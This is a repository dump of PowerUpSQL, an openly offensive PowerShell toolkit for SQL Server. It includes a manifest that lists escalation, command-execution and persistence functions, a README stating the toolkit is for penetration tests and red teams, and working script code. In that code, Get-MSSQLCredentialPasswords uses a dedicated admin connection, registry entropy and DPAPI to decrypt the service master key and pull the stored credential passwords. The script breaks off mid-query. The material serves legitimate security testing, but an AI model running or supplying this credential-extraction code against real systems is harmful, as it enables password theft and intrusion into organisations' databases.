├── LICENSE
├── PowerUpSQL.ps1
├── PowerUpSQL.psd1
├── PowerUpSQL.psm1
├── README.md
├── images
├── 2019_Blackhat_Shirt_Back.png
├── 2019_Blackhat_Shirt_Front.png
├── ADS_Query_AdHoc.png
├── ADS_Query_LinkServer.png
├── Background-NetSPI-HackResponsibly1000.png
├── Background-NetSPI-HackResponsibly2600.png
├── NetSPI-HackRecklessly.png
├── NetSPI-HackResponsibly.png
├── PowerUpSQL_GitHub.png
├── PowerUpSQL_GitHub2.png
├── PowerUpSQL_GitHub3.png
├── PowerUpSQL_GitHub4.png
├── PowerUpSQL_GitHub5.png
├── PowerUpsQL-2018-L.png
├── PowerUpsQL-2018-M.png
├── PowerUpsQL-2018-S.png
├── Unofficial.png
├── blackhat2018_PowerUpSQL_shirt.jpg
├── blackhat2018_PowerUpSQL_stickers.jpg
├── powerupsql-large.png
├── powerupsql-small.png
└── readme.rd
├── presentations
├── 2012-AppSecUSA-SQL-Server-Exploitation-Escalation-and-Pilfering.pdf
├── 2015-AppSecCali-10-Deadly-Sins-of-SQL-Server-Configuration.pdf
├── 2016 DerbyCon - Hacking SQL Servers on Scale with PowerShell.pdf
├── 2017 DerbyCon - Beyond xp_cmdshell - Owning the Empire through SQL Server.pdf
├── 2018 BlackHat Arsenal - PowerUpSQL - A PowerShell Toolkit for Hacking SQL Servers on Scale.pdf
└── 2020-Troopers20-SQL Server Hacking Tips for Active Directory Environments_Final.pdf
├── scripts
├── README.md
└── pending
│ ├── Get-MSSQLCredentialPasswords.psm1
│ ├── Get-SQLCompactQuery.ps1
│ ├── Get-SQLServiceAccountPwHashes.ps1
│ ├── Invoke-HuntSQLServers.ps1
│ ├── Invoke-SQLOSCmdCLRWMIProvider.ps1
│ ├── Invoke-SqlServer-Persist-StartupSp.psm1
│ ├── Invoke-SqlServer-Persist-TriggerLogon.psm1
│ ├── LinkConvertExample.ps1
│ ├── README.md
│ └── SQLC2.ps1
├── templates
├── CheatSheet_ConnectionStrings.txt
├── CheatSheet_SMO_Commands.ps1
├── CheatSheet_UncPathInjection.txt
├── VB and JS Scripts Examples
├── cmd_exec.cpp
├── cmd_exec.cs
├── evil.cpp
├── msbuild_sql_query.csproj
├── sqlc2cmds.cs
├── supercowencrypt.cs
├── supercowencrypt.sql
└── tsql
│ ├── AllowPublicXpRegWrite
│ ├── Audit Command Execution Template.sql
│ ├── Get-10MostExpensiveQueries.tsql
│ ├── Get-AgentCredentialList.tsql
│ ├── Get-AgentJob.sql
│ ├── Get-AuditAction.sql
│ ├── Get-AuditDatabase.sql
│ ├── Get-AuditServer.sql
│ ├── Get-CachedPlans.sql
│ ├── Get-Column.sql
│ ├── Get-Credential.sql
│ ├── Get-Credentials-Hijack.tsql
│ ├── Get-CurrentLogin.sql
│ ├── Get-DACQuery.sql
│ ├── Get-Database.sql
│ ├── Get-DatabaseAudit.sql
│ ├── Get-DatabasePriv.sql
│ ├── Get-DatabaseRole.sql
│ ├── Get-DatabaseUser.sql
│ ├── Get-Domain.sql
│ ├── Get-Endpoint.sql
│ ├── Get-FQDN.sql
│ ├── Get-GlobalTempTable-RaceUpdateExample.sql
│ ├── Get-GlobalTempTableColumns.sql
│ ├── Get-GlobalTempTableData.sql
│ ├── Get-InstallationDate.sql
│ ├── Get-InstanceComputerSid.sql
│ ├── Get-MailCredential.sql
│ ├── Get-MyWindowsGroup.sql
│ ├── Get-PrincipalID2SqlLogin.sql
│ ├── Get-Proc.sql
│ ├── Get-ProcParameter.sql
│ ├── Get-ProcPriv.sql
│ ├── Get-ProcSigned.sql
│ ├── Get-ProcSignedByCertLogin.sql
│ ├── Get-ProcSource.tsql
│ ├── Get-QueryHistory.sql
│ ├── Get-RolePrivs
│ ├── Get-SID2WinAccount.sql
│ ├── Get-SQLAgentJobProxy.tsql
│ ├── Get-SQLDomainUser-Example.sql
│ ├── Get-SQLForcedEncryptionSetting.sql
│ ├── Get-SQLOleDbProvider.sql
│ ├── Get-SQLPolicies.sql
│ ├── Get-SQLServerLinkHistory.sql
│ ├── Get-SQLStoredProcedureCLR.sql
│ ├── Get-SQLStoredProcedureXp.sql
│ ├── Get-Schema
│ ├── Get-Schema.sql
│ ├── Get-ServerAudit.sql
│ ├── Get-ServerCertLogin.sql
│ ├── Get-ServerConfiguration.sql
│ ├── Get-ServerLink.sql
│ ├── Get-ServerLogin.sql
│ ├── Get-ServerPriv.sql
│ ├── Get-ServerRole.sql
│ ├── Get-ServiceAccount.sql
│ ├── Get-Session.sql
│ ├── Get-SqlLogin2PrincipalID.sql
│ ├── Get-Table.sql
│ ├── Get-TablePriv.sql
│ ├── Get-TempObject.sql
│ ├── Get-TempTableColumns.sql
│ ├── Get-TriggerDDL.sql
│ ├── Get-TriggerDML.sql
│ ├── Get-TriggerEventType.sql
│ ├── Get-TriggerEventTypes.sql
│ ├── Get-Version.sql
│ ├── Get-View.sql
│ ├── Get-WinAccount2SID.sql
│ ├── Get-WinAutoRunPw.tsql
│ ├── Lateral-Movement-Existing-Links.sql
│ ├── Lateral-Movement-OpenDataSourceBF.tsql
│ ├── Lateral-Movement-OpenRowSetBF.tsql
│ ├── Lateral-Movement-Shared-Svc-Account-OpenRowSet.tsql
│ ├── Lateral-Movement-Shared-Svc-Account-XpCmdShell.tsql
│ ├── New-TempTableSample.sql
│ ├── Set-XpMsShipped.sql
│ ├── download_cradle_tsql_bulkinserver.sql
│ ├── download_cradle_tsql_oap.sql
│ ├── download_cradle_tsql_oap2.sql
│ ├── kick-sqllogins.tsql
│ ├── oscmdexec_agentjob_activex_jscript.sql
│ ├── oscmdexec_agentjob_activex_vbscript.sql
│ ├── oscmdexec_agentjob_cmdexec.sql
│ ├── oscmdexec_agentjob_powershell.sql
│ ├── oscmdexec_clr.sql
│ ├── oscmdexec_customxp.cpp
│ ├── oscmdexec_oleautomationobject.sql
│ ├── oscmdexec_openrowset.sql
│ ├── oscmdexec_pythonscript.tsql
│ ├── oscmdexec_rscript.sql
│ ├── oscmdexec_xpcmdshell.sql
│ ├── oscmdexec_xpcmdshell_proxy.sql
│ ├── persist_reg_run.tsql
│ ├── readfile_BulkInsert.sql
│ ├── readfile_OpenDataSourceTxt.sql
│ ├── readfile_OpenDataSourceXlsx
│ ├── readfile_OpenRowSetBulk.sql
│ ├── readfile_OpenRowSetTxt.sql
│ ├── readfile_OpenRowSetXlsx.sql
│ ├── restore-unc-injection.xmla
│ ├── writefile_OpenRowSetTxt.sql
│ ├── writefile_bcpxpcmdshell.sql
│ ├── writefile_bcpxpcmdshell_Job.sql
│ └── writefile_bulkinsert.sql
└── tests
├── Create-FakeSensitiveData.psm1
├── PowerUpSQLTests.ps1
├── pesterdb.sql
└── readme.md
/LICENSE:
--------------------------------------------------------------------------------
1 | PowerUpSQL is provided under the 3-clause BSD license below.
2 |
3 | *************************************************************
4 |
5 | Copyright (c) 2024, NetSPI
6 | All rights reserved.
7 |
8 | Redistribution and use in source and binary forms, with or without
9 | modification, are permitted provided that the following conditions are met:
10 |
11 | * Redistributions of source code must retain the above copyright notice, this
12 | list of conditions and the following disclaimer.
13 |
14 | * Redistributions in binary form must reproduce the above copyright notice,
15 | this list of conditions and the following disclaimer in the documentation
16 | and/or other materials provided with the distribution.
17 |
18 | * Neither the name of PowerUpSQL nor the names of its
19 | contributors may be used to endorse or promote products derived from
20 | this software without specific prior written permission.
21 |
22 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
23 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
24 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
25 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
26 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
27 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
28 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
29 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
30 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
31 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
32 |
--------------------------------------------------------------------------------
/PowerUpSQL.psd1:
--------------------------------------------------------------------------------
1 | #requires -Version 1
2 | @{
3 | ModuleToProcess = 'PowerUpSQL.psm1'
4 | ModuleVersion = '1.105.0'
5 | GUID = 'dd1fe106-2226-4869-9363-44469e930a4a'
6 | Author = 'Scott Sutherland'
7 | Copyright = 'BSD 3-Clause'
8 | Description = 'PowerUpSQL is an offensive toolkit designed for attacking SQL Server. The PowerUpSQL module includes functions that support SQL Server discovery, auditing for common weak configurations, and privilege escalation on scale. It is intended to be used during penetration tests and red team engagements. However, PowerUpSQL also includes many functions that could be used by administrators to inventory the SQL Servers on their ADS domain very quickly. More information can be found at https://github.com/NetSPI/PowerUpSQL.'
9 | PowerShellVersion = '2.0'
10 | FunctionsToExport = @(
11 | 'Create-SQLFileXpDll',
12 | 'Create-SQLFileCLRDll',
13 | 'Get-SQLAgentJob',
14 | 'Get-SQLAssemblyFile',
15 | 'Get-SQLAuditDatabaseSpec',
16 | 'Get-SQLAuditServerSpec',
17 | 'Get-SQLColumn',
18 | 'Get-SQLColumnSampleData',
19 | 'Get-SQLColumnSampleDataThreaded',
20 | 'Get-SQLConnectionTest',
21 | 'Get-SQLConnectionTestThreaded',
22 | 'Get-SQLDatabase',
23 | 'Get-SQLDatabasePriv',
24 | 'Get-SQLDatabaseRole',
25 | 'Get-SQLDatabaseRoleMember',
26 | 'Get-SQLDatabaseSchema',
27 | 'Get-SQLDatabaseThreaded',
28 | 'Get-SQLDatabaseUser',
29 | 'Get-SQLDomainObject',
30 | 'Get-SQLDomainComputer',
31 | 'Get-SQLDomainUser',
32 | 'Get-SQLDomainSubnet',
33 | 'Get-SQLDomainSite',
34 | 'Get-SQLDomainGroup',
35 | 'Get-SQLDomainOu',
36 | 'Get-SQLDomainAccountPolicy',
37 | 'Get-SQLDomainTrust',
38 | 'Get-SQLDomainPasswordsLAPS',
39 | 'Get-SQLDomainController',
40 | 'Get-SQLDomainExploitableSystem',
41 | 'Get-SQLDomainGroupMember',
42 | 'Get-SQLFuzzDatabaseName',
43 | 'Get-SQLFuzzDomainAccount',
44 | 'Get-SQLFuzzObjectName',
45 | 'Get-SQLFuzzServerLogin'
46 | 'Get-SQLInstanceBroadcast',
47 | 'Get-SQLInstanceDomain',
48 | 'Get-SQLInstanceFile',
49 | 'Get-SQLInstanceLocal',
50 | 'Get-SQLInstanceScanUDP',
51 | 'Get-SQLInstanceScanUDPThreaded',
52 | 'Get-SQLLocalAdminCheck',
53 | 'Get-SQLPersistRegRun',
54 | 'Get-SQLPersistRegDebugger',
55 | 'Get-SQLPersistTriggerDDL',
56 | 'Get-SQLOleDbProvder',
57 | 'Get-SQLQuery',
58 | 'Get-SQLQueryThreaded',
59 | 'Get-SQLRecoverPwAutoLogon',
60 | 'Get-SQLServerConfiguration',
61 | 'Get-SQLServerCredential',
62 | 'Get-SQLServerInfo',
63 | 'Get-SQLServerInfoThreaded',
64 | 'Get-SQLServerLink',
65 | 'Get-SQLServerLinkCrawl',
66 | 'Get-SQLServerLinkData',
67 | 'Get-SQLServerLinkQuery',
68 | 'Get-SQLServerLogin',
69 | 'Get-SQLServerLoginDefaultPw',
70 | 'Get-SQLServerPasswordHash',
71 | 'Get-SQLServerPolicy',
72 | 'Get-SQLServerPriv',
73 | 'Get-SQLServerRole',
74 | 'Get-SQLServerRoleMember',
75 | 'Get-SQLServiceAccount',
76 | 'Get-SQLServiceLocal',
77 | 'Get-SQLSession',
78 | 'Get-SQLStoredProcedure',
79 | 'Get-SQLStoredProcedureCLR',
80 | 'Get-SQLStoredProcedureSQLi',
81 | 'Get-SQLStoredProcedureAutoExec',
82 | 'Get-SQLStoredProcedureXp',
83 | 'Get-SQLSysadminCheck',
84 | 'Get-SQLTable',
85 | 'Get-SQLTableTemp',
86 | 'Get-SQLTriggerDdl',
87 | 'Get-SQLTriggerDml',
88 | 'Get-SQLView',
89 | 'Invoke-SQLAudit',
90 | 'Invoke-SQLAuditPrivCreateProcedure',
91 | 'Invoke-SQLAuditPrivDbChaining',
92 | 'Invoke-SQLAuditPrivImpersonateLogin',
93 | 'Invoke-SQLAuditPrivServerLink',
94 | 'Invoke-SQLAuditPrivTrustworthy',
95 | 'Invoke-SQLAuditPrivXpDirtree',
96 | 'Invoke-SQLAuditPrivXpFileexit',
97 | 'Invoke-SQLAuditRoleDbDdlAdmin',
98 | 'Invoke-SQLAuditRoleDbOwner',
99 | 'Invoke-SQLAuditSampleDataByColumn',
100 | 'Invoke-SQLAuditWeakLoginPw',
101 | 'Invoke-SQLAuditSQLiSpExecuteAs',
102 | 'Invoke-SQLAuditSQLiSpSigned',
103 | 'Invoke-SQLAuditDefaultLoginPw',
104 | 'Invoke-SQLAuditPrivAutoExecSp',
105 | 'Invoke-SQLDumpInfo',
106 | 'Invoke-SQLEscalatePriv',
107 | 'Invoke-SQLImpersonateService',
108 | 'Invoke-SQLImpersonateServiceCmd',
109 | 'Invoke-SQLUncPathInjection',
110 | 'Invoke-SQLOSCmd',
111 | 'Invoke-SQLOSCmdCLR',
112 | 'Invoke-SQLOSCmdCOle',
113 | 'Invoke-SQLOSCmdPython',
114 | 'Invoke-SQLOSCmdR',
115 | 'Invoke-SQLOSCmdAgentJob',
116 | 'Invoke-TokenManipulation',
117 | 'Get-DomainObject',
118 | 'Get-DomainSpn'
119 | )
120 | FileList = 'PowerUpSQL.psm1', 'PowerUpSQL.ps1', 'README.md'
121 | }
122 |
123 |
--------------------------------------------------------------------------------
/PowerUpSQL.psm1:
--------------------------------------------------------------------------------
1 | Get-ChildItem (Join-Path -Path $PSScriptRoot -ChildPath *.ps1) | ForEach-Object -Process {
2 | . $_.FullName
3 | }
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | [![licence badge]][licence]
4 | [![wiki Badge]][wiki]
5 | [![stars badge]][stars]
6 | [![forks badge]][forks]
7 | [![issues badge]][issues]
8 |
9 | [licence badge]:https://img.shields.io/badge/license-New%20BSD-blue.svg
10 | [stars badge]:https://img.shields.io/github/stars/NetSPI/PowerUpSQL.svg
11 | [forks badge]:https://img.shields.io/github/forks/NetSPI/PowerUpSQL.svg
12 | [issues badge]:https://img.shields.io/github/issues/NetSPI/PowerUpSQL.svg
13 | [wiki badge]:https://img.shields.io/badge/PowerUpSQL-Wiki-green.svg
14 |
15 | [licence]:https://github.com/NetSPI/PowerUpSQL/blob/master/LICENSE
16 | [stars]:https://github.com/NetSPI/PowerUpSQL/stargazers
17 | [forks]:https://github.com/NetSPI/PowerUpSQL/network
18 | [issues]:https://github.com/NetSPI/PowerUpSQL/issues
19 | [wiki]:https://github.com/NetSPI/PowerUpSQL/wiki
20 |
21 | 
22 |
23 | PowerUpSQL includes functions that support SQL Server discovery, weak configuration auditing, privilege escalation on scale, and post exploitation actions such as OS command execution. It is intended to be used during internal penetration tests and red team engagements. However, PowerUpSQL also includes many functions that can be used by administrators to quickly inventory the SQL Servers in their ADS domain and perform common threat hunting tasks related to SQL Server.
24 |
25 | ### PowerUpSQL Wiki
26 | For setup instructions, cheat Sheets, blogs, function overviews, and usage information check out the wiki: https://github.com/NetSPI/PowerUpSQL/wiki
27 |
28 | ### Author and Contributors
29 | * Author: Scott Sutherland (@_nullbind) 
30 | * Major Contributors: Antti Rantasaari, Eric Gruber (@egru), Thomas Elling (@thomaselling)
31 | * Contributors: Alexander Leary (@0xbadjuju), @leoloobeek, Andrew Luke(@Sw4mpf0x), Mike Manzotti (@mmanzo_), @TVqQAAMA, @cobbr_io, @mariuszbit (mgeeky), @0xe7 (@exploitph), phackt(@phackt_ul), @vsamiamv, and @ktaranov
32 |
33 | ### Issue Reports
34 |
35 | I perform QA on functions before we publish them, but it's hard to consider every scenario. So I just wanted to say thanks to those of you that have taken the time to give me a heads up on issues with PowerUpSQL so that we can make it better.
36 | * Bug Reporters: @ClementNotin, @runvirus, @CaledoniaProject, @christruncer, rvrsh3ll(@424f424f),@mubix (Rob Fuller)
37 |
38 |
39 | ### License
40 | * BSD 3-Clause
41 |
42 |
--------------------------------------------------------------------------------
/images/2019_Blackhat_Shirt_Back.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/2019_Blackhat_Shirt_Back.png
--------------------------------------------------------------------------------
/images/2019_Blackhat_Shirt_Front.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/2019_Blackhat_Shirt_Front.png
--------------------------------------------------------------------------------
/images/ADS_Query_AdHoc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/ADS_Query_AdHoc.png
--------------------------------------------------------------------------------
/images/ADS_Query_LinkServer.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/ADS_Query_LinkServer.png
--------------------------------------------------------------------------------
/images/Background-NetSPI-HackResponsibly1000.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/Background-NetSPI-HackResponsibly1000.png
--------------------------------------------------------------------------------
/images/Background-NetSPI-HackResponsibly2600.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/Background-NetSPI-HackResponsibly2600.png
--------------------------------------------------------------------------------
/images/NetSPI-HackRecklessly.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/NetSPI-HackRecklessly.png
--------------------------------------------------------------------------------
/images/NetSPI-HackResponsibly.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/NetSPI-HackResponsibly.png
--------------------------------------------------------------------------------
/images/PowerUpSQL_GitHub.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/PowerUpSQL_GitHub.png
--------------------------------------------------------------------------------
/images/PowerUpSQL_GitHub2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/PowerUpSQL_GitHub2.png
--------------------------------------------------------------------------------
/images/PowerUpSQL_GitHub3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/PowerUpSQL_GitHub3.png
--------------------------------------------------------------------------------
/images/PowerUpSQL_GitHub4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/PowerUpSQL_GitHub4.png
--------------------------------------------------------------------------------
/images/PowerUpSQL_GitHub5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/PowerUpSQL_GitHub5.png
--------------------------------------------------------------------------------
/images/PowerUpsQL-2018-L.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/PowerUpsQL-2018-L.png
--------------------------------------------------------------------------------
/images/PowerUpsQL-2018-M.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/PowerUpsQL-2018-M.png
--------------------------------------------------------------------------------
/images/PowerUpsQL-2018-S.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/PowerUpsQL-2018-S.png
--------------------------------------------------------------------------------
/images/Unofficial.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/Unofficial.png
--------------------------------------------------------------------------------
/images/blackhat2018_PowerUpSQL_shirt.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/blackhat2018_PowerUpSQL_shirt.jpg
--------------------------------------------------------------------------------
/images/blackhat2018_PowerUpSQL_stickers.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/blackhat2018_PowerUpSQL_stickers.jpg
--------------------------------------------------------------------------------
/images/powerupsql-large.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/powerupsql-large.png
--------------------------------------------------------------------------------
/images/powerupsql-small.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/images/powerupsql-small.png
--------------------------------------------------------------------------------
/images/readme.rd:
--------------------------------------------------------------------------------
1 | This folder simply houses images for the Github repository.
2 |
--------------------------------------------------------------------------------
/presentations/2012-AppSecUSA-SQL-Server-Exploitation-Escalation-and-Pilfering.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/presentations/2012-AppSecUSA-SQL-Server-Exploitation-Escalation-and-Pilfering.pdf
--------------------------------------------------------------------------------
/presentations/2015-AppSecCali-10-Deadly-Sins-of-SQL-Server-Configuration.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/presentations/2015-AppSecCali-10-Deadly-Sins-of-SQL-Server-Configuration.pdf
--------------------------------------------------------------------------------
/presentations/2016 DerbyCon - Hacking SQL Servers on Scale with PowerShell.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/presentations/2016 DerbyCon - Hacking SQL Servers on Scale with PowerShell.pdf
--------------------------------------------------------------------------------
/presentations/2017 DerbyCon - Beyond xp_cmdshell - Owning the Empire through SQL Server.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/presentations/2017 DerbyCon - Beyond xp_cmdshell - Owning the Empire through SQL Server.pdf
--------------------------------------------------------------------------------
/presentations/2018 BlackHat Arsenal - PowerUpSQL - A PowerShell Toolkit for Hacking SQL Servers on Scale.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/presentations/2018 BlackHat Arsenal - PowerUpSQL - A PowerShell Toolkit for Hacking SQL Servers on Scale.pdf
--------------------------------------------------------------------------------
/presentations/2020-Troopers20-SQL Server Hacking Tips for Active Directory Environments_Final.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/PowerUpSQL/7d73373b0751b8648a800fbeef4c00ced66eba58/presentations/2020-Troopers20-SQL Server Hacking Tips for Active Directory Environments_Final.pdf
--------------------------------------------------------------------------------
/scripts/README.md:
--------------------------------------------------------------------------------
1 | ### Pending Scripts
2 | The scripts in the pending directory are stand alone scripts that will eventually be turned into PowerUpSQL functions.
3 |
4 | ### 3rd Party Functions
5 | PowerUpSQL uses some 3rd party functions written by other authors. Those authors and functions are listed below.
6 |
7 | Author: Warren F. (RamblingCookieMonster)
8 | Source: https://github.com/RamblingCookieMonster/Invoke-Parallel
9 | Imported Scripts: Invoke-Parallel.ps1
10 | PowerUpSQL Functions: Used for threaded functions.
11 |
12 | Author: Kevin Robertson
13 | Source: https://github.com/Kevin-Robertson/Inveigh
14 | Imported Scripts: Inveigh.ps1, Inveigh-BruteForce.ps1, and Inveigh-Relay.ps1
15 | PowerUpSQL Functions: Used in Invoke-SQLAuditPrivXpDirtree and Invoke-SQLAuditXpPrivFileExist
16 |
17 | Author: Joe Bialek
18 | Source: https://github.com/clymb3r/PowerShell/tree/master/Invoke-TokenManipulation
19 | Imported Scripts: Invoke-TokenManipulation.ps1
20 |
21 | ### Community Contributions
22 | Some PowerUpSQL functions have been written by other authors. Those authors are documented at the beginning of each function and noted in the primary readme file. If I missed someone please let me know!
23 |
24 |
--------------------------------------------------------------------------------
/scripts/pending/Get-MSSQLCredentialPasswords.psm1:
--------------------------------------------------------------------------------
1 | function Get-MSSQLCredentialPasswords{
2 |
3 | <#
4 | .SYNOPSIS
5 | Extract and decrypt MSSQL Credentials passwords.
6 |
7 | Author: Antti Rantasaari 2014, NetSPI
8 | License: BSD 3-Clause
9 |
10 | .DESCRIPTION
11 | Get-MSSQLCredentialPasswords extracts and decrypts the connection credentials for all saved Credentials.
12 |
13 | .INPUTS
14 | None
15 |
16 | .OUTPUTS
17 | System.Data.DataRow
18 |
19 | Returns a datatable consisting of MSSQL instance name, credential name, user account, and decrypted password.
20 |
21 | .EXAMPLE
22 | C:\PS> Get-MSSQLCredentialPasswords
23 |
24 | Instance Credential User Password
25 | -------- ---------- ---- --------
26 | SQLEXPRESS test test test
27 | SQLEXPRESS user1 user1 Passw0rd01!
28 | SQL2012 user2 user2 Passw0rd01!
29 | SQL2012 VAULT user3 !@#Sup3rS3cr3tP4$$w0rd!!$$
30 |
31 | .NOTES
32 | For successful execution, the following configurations and privileges are needed:
33 | - DAC connectivity to MSSQL instances
34 | - Local administrator privileges (needed to access registry key)
35 | - Sysadmin privileges to MSSQL instances
36 |
37 | .LINK
38 | http://www.netspi.com/blog/
39 | #>
40 | Add-Type -assembly System.Security
41 | Add-Type -assembly System.Core
42 |
43 | # Set local computername and get all SQL Server instances
44 | $ComputerName = $Env:computername
45 | $SqlInstances = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server' -Name InstalledInstances).InstalledInstances
46 |
47 | $Results = New-Object "System.Data.DataTable"
48 | $Results.Columns.Add("Instance") | Out-Null
49 | $Results.Columns.Add("Credential") | Out-Null
50 | $Results.Columns.Add("User") | Out-Null
51 | $Results.Columns.Add("Password") | Out-Null
52 |
53 | foreach ($InstanceName in $SqlInstances) {
54 |
55 | # Start DAC connection to SQL Server
56 | # Default instance MSSQLSERVER -> instance name cannot be used in connection string
57 | if ($InstanceName -eq "MSSQLSERVER") {
58 | $ConnString = "Server=ADMIN:$ComputerName\;Trusted_Connection=True"
59 | }
60 | else {
61 | $ConnString = "Server=ADMIN:$ComputerName\$InstanceName;Trusted_Connection=True"
62 | }
63 | $Conn = New-Object System.Data.SqlClient.SQLConnection($ConnString);
64 |
65 | Try{$Conn.Open();}
66 | Catch{
67 | Write-Error "Error creating DAC connection: $_.Exception.Message"
68 | Continue
69 | }
70 | if ($Conn.State -eq "Open"){
71 | # Query Service Master Key from the database - remove padding from the key
72 | # key_id 102 eq service master key, thumbprint 3 means encrypted with machinekey
73 | $SqlCmd="SELECT substring(crypt_property,9,len(crypt_property)-8) FROM sys.key_encryptions WHERE key_id=102 and (thumbprint=0x03 or thumbprint=0x0300000001)"
74 | $Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn);
75 | $SmkBytes=$Cmd.ExecuteScalar()
76 |
77 | # Get entropy from the registry - hopefully finds the right SQL server instance
78 | $RegPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\sql\").$InstanceName
79 | [byte[]]$Entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\$RegPath\Security\").Entropy
80 |
81 | # Decrypt the service master key
82 | $ServiceKey = [System.Security.Cryptography.ProtectedData]::Unprotect($SmkBytes, $Entropy, 'LocalMachine')
83 |
84 | # Choose the encryption algorithm based on the SMK length - 3DES for 2008, AES for 2012
85 | # Choose IV length based on the algorithm
86 | if (($ServiceKey.Length -eq 16) -or ($ServiceKey.Length -eq 32)) {
87 | if ($ServiceKey.Length -eq 16) {
88 | $Decryptor = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
89 | $IvLen=8
90 | } elseif ($ServiceKey.Length -eq 32){
91 | $Decryptor = New-Object System.Security.Cryptography.AESCryptoServiceProvider
92 | $IvLen=16
93 | }
94 |
95 | # Query credential password information from the DB
96 | # Remove header from imageval, extract IV (as iv) and ciphertext (as pass)
97 | # Not sure what valclass and valnum mean, could not find documentation.. but valclass 28 with valnum 2 seems to store the encrypted password
98 |
99 | $SqlCmd = "SELECT name,credential_identity,substring(imageval,5,$ivlen) iv, substring(imageval,$($ivlen+5),len(imageval)-$($ivlen+4)) pass from sys.credentials cred inner join sys.sysobjvalues obj on cred.credential_id = obj.objid where valclass=28 and valnum=2"
100 |
101 | $Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn);
102 | $Data=$Cmd.ExecuteReader()
